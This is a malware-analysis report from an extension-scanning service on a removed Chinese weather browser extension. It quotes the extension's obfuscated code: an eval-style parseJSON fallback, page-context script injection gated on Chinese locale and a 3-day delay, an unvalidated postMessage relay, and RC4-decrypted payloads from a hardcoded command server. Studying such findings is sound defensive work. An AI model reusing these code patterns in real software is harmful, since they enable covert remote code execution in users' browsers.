IV天气

ID: mklfbhcamidkojoncdplbepgleoclgfh

Could be malicious

Supported Languages

🇨🇳Chinese (Simplified)

Extension Info & Metadata

Status
Removed
Version
1.0.4
Size
1.01 MB
Rating
0.0/5
Reviews
0
Users
113,856
Type
Extension
Updated
Jul 8, 2023
Category
6_news
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
uvttqqView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
2
Active
0
Obsolete
2
Listed
2
Unlisted
0
Total Users
113,856

浏览器中查看天气预报的最佳方式

浏览器中查看天气预报,你可以自定义想要查看的城市,支持全球所有城市。

Item
Type
Severity
Description
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
geolocation
Permission
High
This permission accesses precise device location. Rated High because it can track user movements, identify physical locations, and compromise user privacy.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
Broad Content Script Access
Risk Factor
High
This extension can inject scripts into any website.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.

parseJSON falls back to `new Function(arguments[0])()` when JSON.parse fails, which is effectively eval() of the input string. Because this parseJSON is applied to the RC4-decrypted server response on line 3726, a malicious/attacker-controlled server payload that is not valid JSON would be executed as arbitrary JavaScript in the page context of every site the user visits. This is a remote-code-execution path disguised as a jQuery shim.

scriptMain.bundle.js (Line 3701)
}, w.isArray = Array.isArray, w.parseJSON = function() {  try {    return JSON.parse.apply(this, arguments)  } catch (e) {    return new Function(arguments[0])()  }}, w.nodeName = k, w.isFunction = h, w.isWindow = g, w.camelCase = X, w.type = x,

The content script, which matches <all_urls>, dynamically injects scriptMain.bundle.js into the DOM of every page the user visits, running it in the page's main world (not the isolated extension world). It passes a hardcoded external asset server URL (https://utq.vvipquan.com/ivt) to the injected script via dataset attributes. Injecting extension code into page context on every site is a privilege escalation vector and bypasses Chrome's isolated-world sandbox.

ct.bundle.js (Line 1)
(() => {    "use strict";    const e = "ivtianqi",      t = "https://utq.vvipquan.com/ivt";    window.addEventListener("message", (t => {      let a = t.data;      a.p == e && "tobg" == a.cmd && chrome.runtime.sendMessage(a.data, (e => {        a.cb && window.postMessage({          cmd: "ctcb",          cb: a.cb,          data: e        })      }))    }));    if (navigator.language.match("^zh")) {      chrome.storage.local.get("updateTime", (e => {        e.updateTime && Date.now() - e.updateTime > 2592e5 && chrome.storage.local.set({          assetsServer: t        })      }));      let a = document.createElement("script");      a.src = chrome.runtime.getURL("/scriptMain.bundle.js"), a.dataset.pname = e, a.dataset.assetPath = t, document        .body.appendChild(a)    }

The content script listens for window.postMessage events from any page and forwards arbitrary payloads to the extension's background service worker via chrome.runtime.sendMessage, then relays the response back via postMessage. The only validation is a string tag (p=='ivtianqi'); any script on any visited page (including untrusted third-party scripts) can invoke background-privileged actions by posting messages with that tag. This exposes background APIs to the open web.

ct.bundle.js (Line 5)
window.addEventListener("message", (t => {  let a = t.data;  a.p == e && "tobg" == a.cmd && chrome.runtime.sendMessage(a.data, (e => {    a.cb && window.postMessage({      cmd: "ctcb",      cb: a.cb,      data: e    })  }))}));

The malicious code path is gated on navigator.language starting with 'zh' (Chinese-speaking users) and a 3-day dormancy window (2592e5 ms = 3 days) before switching the assetsServer to the attacker-controlled domain. Geographic/locale-based conditional activation and a time-delayed trigger are classic malware evasion techniques to hide behavior from non-target users and automated review.

ct.bundle.js (Line 15)
if (navigator.language.match("^zh")) {  chrome.storage.local.get("updateTime", (e => {    e.updateTime && Date.now() - e.updateTime > 2592e5 && chrome.storage.local.set({      assetsServer: t    })  }));  let a = document.createElement("script");  a.src = chrome.runtime.getURL("/scriptMain.bundle.js"), a.dataset.pname = e, a.dataset.assetPath = t, document    .body.appendChild(a)}

After being injected into every visited page, scriptMain.bundle.js requests a 'get_mt' payload from the background service worker and decrypts the response with a hand-rolled RC4 stream cipher keyed on the string 'ivtianqi'. Using custom symmetric encryption to obscure server-delivered content is a strong indicator of command-and-control communications or covertly delivered instructions; a benign weather extension has no legitimate need to encrypt update/config payloads this way.

scriptMain.bundle.js (Line 3723)
n({  cmd: "get_mt"}, (t => {  (t = r.parseJSON(function(e, t) {    for (var n, r = [], i = 0, o = "", a = 0; a < 256; a++) r[a] = a;    for (a = 0; a < 256; a++) i = (i + r[a] + e.charCodeAt(a % e.length)) % 256, n = r[a], r[a] = r[i], r[      i] = n;    a = 0, i = 0;    for (var s = 0; s < t.length; s++) i = (i + r[a = (a + 1) % 256]) % 256, n = r[a], r[a] = r[i], r[i] =      n, o += String.fromCharCode(t.charCodeAt(s) ^ r[(r[a] + r[i]) % 256]);    return o  }(e, t))) && t.needUpdate && alert("Please updated to the latest version.")}))

Hardcoded attacker-controlled asset/command server endpoint (https://utq.vvipquan.com/ivt) baked into the content script and used as the 'assetPath' passed to the injected page-context script. The domain is unrelated to any legitimate weather API and serves as the remote source for the encrypted payloads consumed above.

ct.bundle.js (Line 3)
const e = "ivtianqi",  t = "https://utq.vvipquan.com/ivt";

By severity

Critical1
High4
Medium1
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.0.46

Files with findings

2 distinct paths — top paths by unique finding count:

  • ct.bundle.js4
  • scriptMain.bundle.js2
S.No.
Category
Severity
File
Summary
Found in Version
1Remote Code Loading
critical
scriptMain.bundle.js (line 3701)parseJSON falls back to `new Function(arguments[0])()` when JSON.parse fails, which is effectively eval() of the input string. Because this parseJSON is applied to the RC4-decrypted server response on line 3726, a mal…
2Code Injection
high
ct.bundle.js (line 1)The content script, which matches <all_urls>, dynamically injects scriptMain.bundle.js into the DOM of every page the user visits, running it in the page's main world (not the isolated extension world). It passes a ha…
3Obfuscation
high
ct.bundle.js (line 15)The malicious code path is gated on navigator.language starting with 'zh' (Chinese-speaking users) and a 3-day dormancy window (2592e5 ms = 3 days) before switching the assetsServer to the attacker-controlled domain. …
4Obfuscation
high
scriptMain.bundle.js (line 3723)After being injected into every visited page, scriptMain.bundle.js requests a 'get_mt' payload from the background service worker and decrypts the response with a hand-rolled RC4 stream cipher keyed on the string 'ivt…
5Privilege Escalation
high
ct.bundle.js (line 5)The content script listens for window.postMessage events from any page and forwards arbitrary payloads to the extension's background service worker via chrome.runtime.sendMessage, then relays the response back via pos…
6Data Exfiltration
medium
ct.bundle.js (line 3)Hardcoded attacker-controlled asset/command server endpoint (https://utq.vvipquan.com/ivt) baked into the content script and used as the 'assetPath' passed to the injected page-context script. The domain is unrelated …
URLs
46
IPv4
1
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

fontawesome.com-https://fontawesome.com
fontawesome.com/license/freehttps://fontawesome.com/license/free
daneden.me/animatehttp://daneden.me/animate
opensource.org/licenses/MIThttp://opensource.org/licenses/MIT
utq.vvipquan.com/ivthttps://utq.vvipquan.com/ivt
www.w3.org/1999/02/22-rdf-syntax-nshttp://www.w3.org/1999/02/22-rdf-syntax-ns#
ns.adobe.com/tiff/1.0/http://ns.adobe.com/tiff/1.0/
weatherextension.com-https://weatherextension.com/
badge.weatherextension.com-https://badge.weatherextension.com/
maps.googleapis.com/maps/api/geocode/jsonhttps://maps.googleapis.com/maps/api/geocode/json?address=
Showing 1 to 10 of 50 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

1.0.0.0
IPv4
-
Version
Size
Is Malicious
Findings
Permhash
1.0.4
Latest
1.01 MB
Malicious
6
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.